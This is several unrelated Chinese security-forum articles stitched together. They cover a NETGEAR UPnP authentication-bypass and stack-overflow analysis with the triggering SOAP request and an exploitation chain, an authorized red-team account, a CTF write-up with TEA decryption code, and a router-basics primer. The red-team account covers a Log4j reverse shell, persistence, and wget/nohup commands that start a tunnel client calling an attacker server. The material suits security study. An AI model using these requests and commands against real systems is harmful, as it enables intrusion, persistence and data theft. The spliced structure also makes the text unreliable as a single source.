<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
SetNetgearDeviceName
<NewBlockSiteName>123456
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
### 缓冲区溢出
栈溢出漏洞存在于`sa_setBlockName()`函数内的`sscanf()`处，漏洞本身比较简单，但还需要对调用路径进行分析看如何触发。在`V1.0.4.82`版本中，函数`sa_setBlockName()`的调用路径如下。
**`sa_parseRcvCmd()`函数**
在函数`sa_parseRcvCmd()`内，需要使得`(3)`处的条件成立，即`v7=0xFF37`。`(2)`处循环及其后面的代码主要是查找标签并返回其索引(类型?)，同时解析标签中的内容，而在`(1)`处`v4`指向对应的标签名称表，其部分内容如下。因此，请求数据中需要包含`<NewBlockSiteName>`标签。
int __fastcall sa_parseRcvCmd(char *a1, signed int a2)
{
v2 = 0; haystack = a1; v76 = a2; v3 = strstr(haystack, ":Body>");
memcpy(&v82, haystack, 0x31u);
v83 = 0;
if ( !v3 )
return 702;
v4 = dword_7DA44; // (1) 指向标签名称及索引表
memset(dword_D96CC, 0, 0x5F0u);
v5 = off_7DA48; v72 = dword_7DA4C;
if ( off_7DA48 == "END_OF_FILE" )
return v2;
v73 = v3 + 6; whence = 0; v6 = 0; v71 = 0; v75 = 0; buf = 0;
while ( 1 ) // (2) 查找标签,并获取其中的内容
{
// ...
v7 = *v4;
// ...
snprintf((char *)&s, 0x32u, "<%s", v5);
snprintf((char *)&v84, 0x32u, "</%s>", v5);
v8 = strstr(v73, (const char *)&s);
if ( !v8 )
goto LABEL_25;
v9 = strchr(v8, '>'); v10 = v7 == 0xFF3A || v7 == 0xFF13;
src = v9 + 1;
if ( v10 )
break;
v6 = strstr(src, (const char *)&v84);
if ( v6 )
goto LABEL_12;
wrap_vprintf(2, "%d, could not found %sn", 0x4C6, &v84);
LABEL_25:
if ( v4 != &dword_7E368 && v71 <= 19 )
{
v5 = (char *)v4[4]; v17 = v4[5]; v4 += 3; v72 = v17;
if ( v5 != "END_OF_FILE" )
continue;
}
return 0;
}
// ...
if ( v7 == 0xFF13 )
{
// ...
}
LABEL_20:
if ( v7 == 0xFF37 ) // (3) 对应标签NewBlockSiteName
{
if ( buf )
{
dword_D96CC[19 * v71] = 0xFF37;
return sa_setBlockName(src, (int)buf);
// ...
; 标签名称和索引(类型?)表
.data:0007DA44 dword_7DA44 DCD 0xFF00
.data:0007DA48 off_7DA48 DCD aNewenable ; "NewEnable"
.data:0007DA4C dword_7DA4C DCD 1
; ...
.data:0007DCE4 DCD 0xFF37
.data:0007DCE8 DCD aNewblocksitena ; "NewBlockSiteName"
.data:0007DCEC DCD 0x3E8
**`sa_processResponse()`函数**
在`sa_processResponse()`函数内，在`(1)`处根据`soap_action`的类型进入不同的处理分支，在`case
0`中有多处(`SetDeviceNameIconByMAC`，`SetDeviceInfoByMAC`，`SetNetgearDeviceName`)会跳到分支`LABEL_184`，满足一定条件后在`(2)`处会调用`sa_parseRcvCmd()`，同样`case
1`中也有多处会跳到`LABEL_184`分支，之后会调用`sa_parseRcvCmd()`。
unsigned int sa_processResponse(int a1, char *a2, int a3, signed int a4, char *a5)
{
v5 = (void *)a1; v6 = a2;
switch ( (unsigned int)v5 ) // (1) soap action type
{
case 0u: // 对应service：DeviceInfo
if ( sa_findKeyword((int)v6, 0) == 1 ) // GetInfo
goto LABEL_241;
if ( sa_findKeyword((int)v6, 0xB1) == 1 ) // SetDeviceNameIconByMAC
{ v12 = 177; goto LABEL_184; }
if ( sa_findKeyword((int)v6, 0xB9) == 1 ) // SetDeviceInfoByMAC
{ v12 = 185; goto LABEL_184; }
if ( sa_findKeyword((int)v6, 0xBA) == 1 ) // SetNetgearDeviceName
{ v12 = 186; goto LABEL_184; }
// ...
case 1u: // 对应service：DeviceConfig
if ( sa_findKeyword((int)v6, 0xB8) == 1 ) // SOAPLogin
{ v10 = 184; v11 = -1; goto LABEL_242; }
// ...
if ( sa_findKeyword((int)v6, 0xB6) == 1 ) // RecoverAdminPassword
{ v12 = 182; goto LABEL_184; }
// ...
case 7u: // 对应service：ParentalControl
if ( sa_findKeyword((int)v6, 71) == 1 ) // GetAllMACAddresses
{ v10 = 71; v11 = -1; goto LABEL_242; }
// ...
LABEL_184:
wrap_vprintf(3, "%s()n", "sa_checkSessionID");
v13 = strstr(v6, "SessionID");
if ( !v13 )
goto LABEL_759;
v14 = v13 + 9; v15 = strchr(v13 + 9, 62); v16 = strstr(v14, "</");
v17 = v15 == 0;
if ( v15 )
v17 = v16 == 0;
if ( !v17
&& ((v18 = v15 + 1, v16 >= v15 + 1) ? (v19 = v16 - (_BYTE *)v18) : (v19 = (_BYTE *)v18 - v16), v19 <= 0x27) )
{ /* ... */ }
else
{ /* ... */ }
if ( v12 != 0x2D )
{
if ( v12 == 0x4E )
{ /* ... */ }
else
{
if ( v12 != 0x5C )
{
LABEL_196:
v8 = sa_parseRcvCmd(v6, v75); // (2)
// ...
其中，`sa_findKeyword()`函数主要是根据指定的`index`在表中查找对应的`keyword`，对应表的部分内容如下。
.data:0007D47C dword_7D47C DCD 0
.data:0007D480 DCD aGetinfo ; "GetInfo"
; ...
.data:0007D9EC DCD 0xB1
.data:0007D9F0 DCD aSetdevicenamei ; "SetDeviceNameIconByMAC"
; ...
.data:0007DA14 DCD 0xB9
.data:0007DA18 DCD aSetdeviceinfob ; "SetDeviceInfoByMAC"
; ...
.data:0007DA1C DCD 0xBA
.data:0007DA20 DCD aSetnetgeardevi ; "SetNetgearDeviceName"
; ...
.data:0007DA2C DCD 0xB6
.data:0007DA30 DCD aRecoveradminpa ; "RecoverAdminPassword"
; ...
.data:0007DA34 DCD 0xB8
.data:0007DA38 DCD aSoaplogin ; "SOAPLogin"
综上，通过构造如下所示的`SOAP`消息，即可到达漏洞点。
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
SetNetgearDeviceName // SetDeviceNameIconByMAC 或 SetDeviceInfoByMAC 也行
<NewBlockSiteName>123
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
### 认证绕过
在前面的分析中，选择通过`case
0`中的`SetNetgearDeviceName`(或`SetDeviceNameIconByMAC`、`SetDeviceInfoByMAC`)去触发漏洞，这就涉及到认证绕过漏洞了。
signed int __fastcall sa_method_check(char *a1, int a2, char *a3, signed int a4)
{
request_ptr = a1; // point to the start of http request
v5 = a2; v6 = a3; v7 = a4; v8 = 0;
v9 = dword_8F5B8;
LOBYTE(dword_BFEC4) = 0;
*(_WORD *)((char *)&dword_BFEC4 + 1) = 0;
HIBYTE(dword_BFEC4) = 0;
if ( dword_8F5B8 == 1 )
return sub_2BCE0(0x20000, aXmlVersion10En_87, v5, v9);
v11 = stristr(request_ptr, aSoapaction_0); // (1) 查找"SOAPAction:"
if ( !v11 )
return -1;
v12 = aDeviceinfo;
v13 = (const char *)(v11 + strlen(aSoapaction_0));
while ( 1 ) // (2) 在表中查找具体的SOAPAction操作, 并获取对应的soap_action type
{
v14 = v12; dword_9DCF4 = (int)v12; v12 += 30;
if ( stristr(v13, v14) )
break;
if ( ++v8 == 11 )
{
soap_action_index = -1; goto LABEL_10;
}
}
soap_action_index = v8;
LABEL_10:
// ...
v19 = (const char *)stristr(request_ptr, "Cookie:");
v20 = (const char *)stristr(request_ptr, "SOAPAction:");
v21 = (size_t)v20;
v22 = strchr(v20, 'r');
*v22 = v18; v23 = v21; n = v22;
v24 = stristr(v23, "service:DeviceConfig:1#SOAPLogin") == 0;
if ( !v19 )
v24 = 0;
*n = 13;
if ( !v24 || (v25 = strchr(v19, 'r'), (v87 = v25) == 0) )
{
LABEL_52:
strncpy((char *)&unk_D9050, "", 0x13u);
v44 = inet_ntoa((struct in_addr)v6);
strncpy((char *)&unk_D9050, v44, 0x13u);
v45 = inet_ntoa((struct in_addr)v6);
v46 = (const char *)acosNvramConfig_get("lan_ipaddr");
if ( strcmp(v45, v46) // (3) 需保证判断条件为false
&& strncmp(v13, " urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate", 0x3Au)
&& strncmp(v13, " "urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate"", 0x3Cu)
&& strncmp(v13, " urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin", 0x34u)
&& strncmp(v13, " "urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin"", 0x36u)
&& strncmp(v13, " urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo", 0x30u) )
{
// ...
}
goto LABEL_27;
}
// ...
LABEL_27:
if ( strcmp((const char *)dword_9DCF4, "ParentalControl") )
goto LABEL_28;
// ...
LABEL_28:
if ( soap_action_index == -1
|| (v31 = (const char *)dword_9DCF4,
wrap_vprintf(3, "%s()n", "sa_saveXMLServiceType"),
memset(byte_9FA30, 0, 0x64u),
(v32 = stristr(request_ptr, "urn:")) == 0)
|| (v33 = (const void *)stristr(v32 + 4, ":")) == 0
|| (v34 = stristr(request_ptr, v31)) == 0 )
{
LABEL_50:
v9 = 401;
return sub_2BCE0(0x20000, aXmlVersion10En_87, v5, v9);
}
v35 = strlen(v31);
strcat(byte_9FA30, "urn:NETGEAR-ROUTER");
v36 = strlen(byte_9FA30);
memcpy(&byte_9FA30[v36], v33, v34 + v35 - (_DWORD)v33);
strcat(byte_9FA30, ":1");
v37 = sa_processResponse(soap_action_index, request_ptr, v5, v7, v6); // (4)
在`sa_method_check()`函数中，在`(1)`处查找`POST`请求中的`SOAPAction:`头，`(2)`处在表中查找具体的`SOAPAction`服务并获取对应的类型(索引?)，表中包含的服务名称及其顺序如下。
.data:0007E380 aDeviceinfo DCB "DeviceInfo",0
.data:0007E39E aDeviceconfig DCB "DeviceConfig",0
.data:0007E3BC aWanipconnectio_0 DCB "WANIPConnection",0
.data:0007E3DA aWanethernetlin_0 DCB "WANEthernetLinkConfig",0
.data:0007E3F8 aLanconfigsecur DCB "LANConfigSecurity",0
.data:0007E416 aWlanconfigurat DCB "WLANConfiguration",0
.data:0007E434 aTime DCB "Time",0
.data:0007E452 aParentalcontro DCB "ParentalControl",0
.data:0007E470 aAdvancedqos DCB "AdvancedQoS",0
.data:0007E48E aUseroptionstc DCB "UserOptionsTC",0
.data:0007E4AC aEndOfFile_0 DCB "END_OF_FILE",0
为了使得程序能执行到`(4)`，需要使得`(3)`处的判断条件不成立，即`SOAPAction`头部需包含以下三个之一。在`(3)`处还有一个对`ip`的判断，但这个似乎不太好伪造。
* `urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate`
* `urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin`
* `urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo`
访问以上3个`SOAPAction`是无需认证的，似乎到这里直接发送如下`POST`请求就可以到达溢出漏洞点了。
POST soap/server_sa/ HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
SetNetgearDeviceName // SetDeviceNameIconByMAC 或 SetDeviceInfoByMAC 也行
<NewBlockSiteName>123
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
但是在`sa_processResponse()`函数中，在根据`soap_action`的类型进入分支处理时，`urn:NETGEAR-ROUTER:service:DeviceInfo:1#GetInfo`和`urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin`这2项会分别匹配对应`case`
分支的第1条`if`语句，从而跳转到其他地方，而`urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate`对应的`case`分支中的跳转都是跳到其他地方。因此，直接访问以上3个`SOAPAction`，程序执行流程不会到达溢出漏洞点。
unsigned int __fastcall sa_processResponse(int a1, char *a2, int a3, signed int a4, char *a5)
{
v5 = (void *)a1; v6 = a2;
switch ( (unsigned int)v5 )
{
case 0u: // 对应service：DeviceInfo
if ( sa_findKeyword((int)v6, 0) == 1 ) // GetInfo
goto LABEL_241; // (1) <=== 跳转到其他分支
if ( sa_findKeyword((int)v6, 0xB1) == 1 ) // SetDeviceNameIconByMAC
{ v12 = 177; goto LABEL_184; }
if ( sa_findKeyword((int)v6, 0xB9) == 1 ) // SetDeviceInfoByMAC
{ v12 = 185; goto LABEL_184; }
if ( sa_findKeyword((int)v6, 0xBA) == 1 ) // SetNetgearDeviceName
{ v12 = 186; goto LABEL_184; }
// ...
case 1u: // 对应service：DeviceConfig
if ( sa_findKeyword((int)v6, 0xB8) == 1 ) // SOAPLogin
{ v10 = 184; v11 = -1; goto LABEL_242; } // (2) <=== 跳转到其他分支
// ...
case 7u: // 对应service：ParentalControl
if ( sa_findKeyword((int)v6, 71) == 1 ) // GetAllMACAddresses
{ v10 = 71; v11 = -1; goto LABEL_242; } // (3) <=== 全部跳转到其他分支
// ...
那么如何才到达溢出漏洞点且无需认证呢？考虑到在查找`SOAPAction`服务和`SOAPAction`对应的关键字时采用的是`stristr()`函数，即直接进行字符串匹配查找，而没有考虑字符串具体的位置，可以通过发送如下`POST`请求绕过认证并达到溢出漏洞点。
// 省略部分内容
POST soap/server_sa HTTP/1.1
SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLoginDeviceInfo
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
SetNetgearDeviceName
<NewBlockSiteName>123456
</NewBlockSiteName>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
首先，在`sa_method_check()`中，在查找`SOAPAction`服务时，对应的表项`DeviceInfo`排在`DeviceConfig`之前，因此会匹配到`DeviceInfo`，对应的`soap_action`类型为0。其次，在对`SOAPAction`头部进行判断时，某个`strncmp()`会比对成功返回0，使得对应的`if`条件为`false`，程序继续执行后会调用`sa_processResponse()`。在`sa_processResponse()`中，由于`soap_action`的类型为0，程序会进入`case
0`分支，在查找关键字时会匹配到下面的`SetNetgearDeviceName`，因而会跳到对应的分支继续执行，最终到达溢出漏洞点。
## 漏洞利用
现在可以绕过认证并触发溢出漏洞了，该如何对溢出漏洞进行利用呢？溢出时的`crash`信息如下，可以看到，寄存器`r4`~`r8`和`pc`的内容都被覆盖了。
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x63636362
0x63636362 in ?? ()
(gdb) i r
r0 0x0 0
r1 0x662bc 418492
r2 0x662bc 418492
r3 0xbeece355 3203195733
r4 0x61616161 1633771873
r5 0x61616161 1633771873
r6 0x61616161 1633771873
r7 0x61616161 1633771873
r8 0x62626262 1650614882
r9 0x1 1
r10 0x0 0
r11 0xbeeccf80 3203190656
r12 0x0 0
sp 0xbeeccbb0 0xbeeccbb0
lr 0x24c38 150584
pc 0x63636362 0x63636362
cpsr 0x60000030 1610612784
(gdb) x/10wx $sp-0x10
0xbeeccba0: 0x61616161 0x61616161 0x62626262 0x63636363
0xbeeccbb0: 0x00000000 0x0000ff37 0x0000041e 0xbeeccf80
0xbeeccbc0: 0xbeeccf4c 0x00000002
前面提到过，若想要实现任意代码执行，需要解决`NULL`字符截断的问题。在仅有一次覆盖返回地址的机会时，该如何构造`payload`呢?
在有限的条件下，`Pedro
Ribeiro`采取了一种巧妙的方式，通过单次覆盖来修改设备管理员账户的密码，而`upnpd`程序中正好存在这一代码片段。这段代码不依赖于其他的寄存器以及栈空间内容等，跳转执行成功后程序还是会崩溃，但管理员账户的密码已成功修改成`password`。
; V1.0.4.82 版本
.text:00039A58 LDR R0, =aHttpPasswd ; "http_passwd"
.text:00039A5C LDR R1, =aPassword ; "password"
.text:00039A60 BL acosNvramConfig_set
有了管理员账户和密码后，可以登录设备的管理界面，对设备的配置进行修改，但如何获取设备的`shell`以实现代码执行呢?`Pedro
Ribeiro`指出，在`R6700v3`型号的设备上，可以通过某种方式开启设备的`telnet`服务，再利用已有的管理员账号和密码登录，即可获取设备的`shell`。
`Pedro Ribeiro`给出的完整利用流程如下：
* 结合认证绕过漏洞和缓冲区溢出漏洞，通过发送`POST`请求来修改管理员账号的密码；
* 利用已有的管理员账号和密码，登录web页面，再次修改管理员账号的密码；
* 通过向设备的`23/udp`端口发送`telnetenable`数据包，以开启`telnet`服务；
* 利用已有的管理员账号和密码，登录`telnet`服务，即可成功获取设备的`shell`
## 小结
本文从补丁比对出发，结合`Pedro Ribeiro`的`write up`，对`NETGEAR`
`R6400v2`型号设备中的`UPnP`漏洞进行了定位和分析。
* 认证绕过：在对`SOAPAction`头进行解析和处理时，由于缺乏适当的校验，可通过伪造`SOAPAction`头部来绕过认证，从而访问某些`API`
* 缓冲区溢出：在解析和处理`POST`请求中的数据时，由于缺乏长度校验，通过伪造超长的数据，最终会造成在`sa_setBlockName()`函数中出现缓冲区溢出
栈溢出漏洞本身比较简单，但漏洞利用却存在`NULL`字符截断的问题，在只有一次覆盖返回地址的机会时，`Pedro
Ribeiro`采用了一种巧妙的方式，值得借鉴和学习。
## 相关链接
* [(0Day) (Pwn2Own) NETGEAR R6700 UPnP SOAPAction Authentication Bypass Vulnerability](https://www.zerodayinitiative.com/advisories/ZDI-20-703/)
* [(0Day) (Pwn2Own) NETGEAR R6700 UPnP NewBlockSiteName Stack-based Buffer Overflow Remote Code Execution Vulnerability](https://www.zerodayinitiative.com/advisories/ZDI-20-704/)
* [Security Advisory for Multiple Vulnerabilities on Some Routers, Mobile Routers, Modems, Gateways, and Extenders](https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders)
* [tokyo_drift](https://github.com/pedrib/PoC/blob/da317bbb22abc2c88c8fcad0668cdb94b2ba0a6f/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md)
* [SOAP 介绍](https://segmentfault.com/a/1190000003762279) | 社区文章 |
# 概述
这是本系列第三篇文章，依旧是某省HVV红队的经历。
过程中只用到很简单的方法，所以加了个标题“有手就行”。
这家企业在内网犯了几乎所有能犯的错误，打起来也比较顺利，只不过当时被管理员发现了，争分夺秒的过程也比较有趣哈哈。
文中内容已做脱敏处理，渗透过程已获得授权, 相关漏洞也已经修复。
所介绍方法请勿用于非法用途！转载请注明出处谢谢。
# 信息收集
先摸一下这个公司的资产，就用example.com代替域名好了。
发现技术栈比较新，大部分都是前后端分离的，后端的接口有一个统一的网关，梳理下。
列举部分：
前端:https://op.example.com/login 手机或账号登录 可找回密码 没找到
接口:https://webapi.example.com:20860/gateway-dev/usercenter/
前端:http://chm.example.com/login
接口:http://webapi.example.com:20860/chm/
前端:https://oa.example.com/auth/login 爆不出来
接口:http://api.example.com:20242/gateway/organization-center/
前端:https://test.example.com/auth/login 跟oa的界面很像
接口:http://api.example.com:20242/gateway-test/organization-center/
前端:http://cms.example.com/login 失效了
接口:https://api.example.com:20242/authTest/login
前端:https://vm.example.com/login
接口:https://api.example.com:21915/login
# Log4j进入内网
其他曲折的打点就不提了，说下成功的。
发现 <https://oa.example.com/>
的登录接口存在Log4j漏洞，使用<https://github.com/WhiteHSBG/JNDIExploit> 的反序列化方法直接反弹shell。
主机上没有EDR，出网(废话)，是10段的普通用户。
进来先写个计划任务保证断了之后shell还能弹。
# 内网横向
## 第一阶段
内网横向肯定得fscan出场了，这里也推荐下我写的缝合怪，求Star! <https://github.com/u21h2/nacs>
(能扫常见组件和字段的Log4j)。
一般刚开始就扫个C段就行了，好巧不巧，发现了我最喜欢的Redis未授权，进去发现还是root用户，但是不出网。
这种情况我一般会创建一个sudo免密的新用户，就adduser然后visudo就可以了，用户名字起地别太假。
然后在出网的机器用nps搭一个隧道出来，服务端提前配好，客户端就三句话的事。
wget https://github.com//ehang-io/nps/releases/download/v0.26.10/linux_amd64_client.tar.gz
tar -zxvf linux_amd64_client.tar.gz
nohup ./npc -server=xxx.xxx.xxx.xxx:xxx -vkey=xxx > npc.log 2>&1 &
然后在本地proxifier走这个socks代理，ssh我们创建的用户，这样体验就好一些，反弹shell太难用了。
## 第二阶段
然后继续内网扫描，首先用扫描器的icmp模块看看内网有多大，然后再扫。
内网不大，就两个C段资产比较多。
我一般习惯先拿非web资产，最后再看web资产。
首先把所有的redis未授权和弱口令都利用了，一共拿到大约12台机器，然后进去翻web服务的配置文件，把数据库密码找到，发现几个经常用的强口令，补充到扫描器里接着爆扫数据库和服务器。
## 被发现
搞到一半突然发现代理断了，shell也弹不过来了，看了下入口的oa界面，后面的接口直接不通了，应该是oa后端对应的服务器直接关机了。难道是检测到出网流量了？
这不完犊子了吗。
## 再打个口子
回过头看上边信息收集的资产，test.example.com的界面跟oa很像，而且后端的接口也很像，会不会...？
果然，也有Log4j漏洞，也是普通用户，是另一台机器。
看了下我刚开始redis的跳板还没掉，应该就是出网流量被检测到了。
是HVV最后一天了，资产也不多，不管那么多了。
多找些机器开socks代理接着打。
## 继续横向
接着来看web服务，发现有很多nacos的服务，都有身份绕过的洞，进去又找到一堆数据库和AK的配置，接着补充到漏扫进行爆破。
还发现了许多生产系统都是弱口令，除了默认口令就是123456和admin123。
比如
还有Flink、Sentinel等等。
## 又掉了
ssh上去的redis机器又没了，但是代理还有通的，换一台机器接着用就是了。
## LDAP
在内网又发现一个LDAP服务的管理端，管控着jira、jenkins等服务。
这玩意应该有一个接口能直接跳转登录吧？可惜我不会，但好在了里面写了能解密的密码，我们可以手动登相关系统。
解密后登录堡垒机
几十台机器都能连
Jira 可以看到开发过程以及代码
## 爆破结果
根据之前补充的密码，又爆破到不少新的数据库和服务器，基本两个C段的资产都拿到了吧，算作打穿了。
还拿到一些AK，能连上OSS看数据，危险啊。
# 思考
我边打，管理员边关机，还是挺有趣的哈哈。
1.攻：因为是最后一天了，急着刷分交报告，就没有做太多隐藏的手段，导致被管理员发现好多次，不太优雅。
2.防：既然能发现我，说明是有安全设备的，但应该只开了告警，没开阻断模式；只能等管理员上线手动处理，从防守上就被动了。
3.防：这个公司内网犯了挺多错的：密码复用、弱口令、漏洞不修、不隔离、服务器出网。 | 社区文章 |
# 前言
> 风好大，我好冷，考试凉凉
继续学习Tea算法。
# 解题
整个程序的逻辑功能也不多解释，在上一篇已经比较完整的介绍了功能，我们直接找到输入的字符串以及`encrypt`函数。
然后这里的`sub_401950`也就是`htoi`函数将字符串转化为数字。
在调用`sub_400840`函数之前可以观察一下参数
（在调试的过程中IDA crush 了几次，所以有些截图的地址会有不同）
其中`rsi`这个参数像是128位的key，同时注意下小端序，不要把自己弄糊涂了。
然后F7跟进，下断。
初始化阶段，其中有一个常量`0x9e3779b9`.(一看就是Tea加密)
然后是一个0x20的循环
之后可以来到`loc_4009FF`下，可以看到很多敏感的操作。
`shl edi, 4`和`shr edi, 5`以及一些`xor`
此时我们的数据在这里。
然后单步跟一遍其中发现了之前识别出来的key
以及最终的数据变化如下：
好吧，这么看根本看不出数据是经过怎样的运算，如果要逆向算法那么只能仔细的去推加密过程，不过我们只要能抽象出该加密过程的特征即可。
继续F9，在次循环，此时的数据变化如下：
此时的数据特征可以做如下总结：
有一个特征量
三个累加量
一个key
每轮运算将中间量进行运算累加到sum
继续往下，去掉断点，运行完整个循环，可以发现，函数最后将其中两个累加量赋值给了我们传入的参数。
那么至此该算法也就分析完毕了，特征如下。
1. 特征量：0x9e3779b9
2. key 128 bit {2,2,3,4}
3. 传入两个32位无符号整数
4. 三个累加量，其中最后赋值给传入的参数
5. 存在`<<4 , >>5 , xor`等操作
其实简单点记的话就只要记住特征量，不过我的建议当然是自己去跟一遍。
`Tea`系列算法后面还有`xTea&xxTea`都在`Tea`的基础上进行了改进，数据的特征类似，但是加入了更多的移位和异或运算。
# 解题代码
理解思路之后就会发现其实解密很简单，不过这里仅仅是为了学习Tea算法，一般比赛见到的题目不会这么简单。
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
//加密函数
void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main()
{
uint32_t k[4]={2,2,3,4};
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
//exchange scale
uint32_t flagLong[2];
flagLong[0] = 0x67d7b805;
flagLong[1] = 0x63c174c3;
decrypt(flagLong,k);
printf("flag{%x-%x}\n",flagLong[0],flagLong[1]);
return 0;
}
# 总结
至此我们又掌握了一种加密方法。开心 | 社区文章 |
### 0x01 无线路由器基本原理
新手在买来一台新的路由器时，对照说明书上的设置步骤，在浏览器地址栏输入192.168.1.1时，可能并不能理解为什么要输入这样的数字。这样的数字组合就是我们常说的IP地址。这里我们暂且用A.B.C.D这样的字符代表IP地址的四个段，路由器的最基本功能就是把多台终端连接在同一个网段里，并且同前一级的网络进行共享通信。互联网的连接组成大家可以理解为一张纵横交错密布的大网，主机A和一台远距离的主机B通信时，就需要依托路由技术进行数据的多次转发。在OSI七层模型中，路由器工作在网络层，如下图所示：
[
这里我们不再解释OSI模型的由来，简单解释前文中我们提到的主机A和B的通信过程，用户将一封邮件发送给好友，好友读取到这条邮件的整个通信过程，就是在OSI模型中一次由上到下和由下到上的通信过程。在网络通信中数据包承载了用户的通信内容，在同一个网段的网络中，数据包很容易从源主机到达目标主机，只需通过一个双方都连接的路由器即可。如果双方所处网段被许多路由器隔开，通信数据包如何选择到达目的地的路径就是个重要的问题，在多重路径中在某个时刻总会存在一条最好的路径，为了提高网络通信的速度，判断最佳路径进行数据转发的技术就叫做路由技术。
路由器内部有一张路由表，用来作为转发的“地图”，在这个路由表中包含有该路由器掌握的所有目的网络地址，以及通过此路由器到达这些网络中的最佳路径，这个所谓最佳路径值得就是路由器的某个接口或者下一个路由器的地址。正是由于这个路由表的存在，路由器才可以进行数据包的转发。
路由器就是实现这一功能的硬件设备，它将不同的网段进行连接，使得网络通信得以穿越纵横交错密布的线路。无线路由器就是路由器家族的一个分支，在连接子网的终端中，提供了以无线电连接的方式，而不单纯只是使用网线进行有线连接。在使用方式上更加自由灵活，不受线缆连接的束缚，但是由于没有使用封闭的线缆进行连接，安全性就不能像有线连接那么可靠。
### 0x02 无线路由器的各项配置
无线路由器不是调制解调器，在家庭中常见的拨号网络中，必须前置一台调制解调器才能够接入互联网。通常无线路由器在家庭网络连接中的物理连接方法如下：
[
目前由于宽带网路的提速和改进，前置的ADSL调制解调器（猫）的入户线缆已经改为光纤，并非过去使用的电话线，但主要功能结构不变。入户线缆通过调制解调器再通过网线连接无线路由器。无线路由器通常存在一个WAN口和数个LAN口，WAN口用来连接上一级的网络环境，可以理解为网络主线；LAN口用来通过有线线缆连接电脑等终端上网设备，可以理解为使用网络的终端设备。在这里，无线路由器外部的天线，在常见的网络设置结构中，也可以理解为无线的LAN口，用来通过无线电连接各种网络终端设备。
笔者在这里使用的是一款TP-LINK品牌的TL-WR842N型号无线路由器，根据说明书，在连接好网络线缆或设置好默认的无线连接账号，在浏览器的地址栏里输入192.168.0.1这样的管理地址，即可打开登录无线路由器管理页面的界面，如下图：
[ 在说明书中寻找到初始的登录密码，进入下图所示的管理页面：
[
目前新款的无线路由器界面制作的相对旧款要图形化程度更高一些，可以清晰的显示目前无线路由器的各项连接状态。下面我们逐一介绍一下各项配置的功能作用。首先在主页面，我们可以看到主人网络和访客网络。通常在这里因为安全的问题，最好是将访客网络关闭，这样免密码的不安全连接就可以避免，用户的无线网络就不会被任意非授权用户接入。在主人网络中，我们需要点击“开启”功能，并且设置一个网络的名称和密码，这里的网络名称就是上一篇文章中我们提到的SSID，密码即接入网络时需要的密码。点击下方红色的设备管理项，进入设备管理的相关页面，如下图所示：
[
这里清晰的显示了当前接入无线路由器的各项终端情况，设备前面的图标显示了设备是通过有线还是无线方式进行的连接。在这里分为主人网络和已禁设备，主人网络内即合法授权的登录设备，若发现未授权的非法连接，可以点击禁用图标对设备进行禁止连接功能。同样在管理图标中，也可以对终端的网络上传/下载速度做一定的限制。下图展示了一个已禁设备列表中的非授权设备：
[
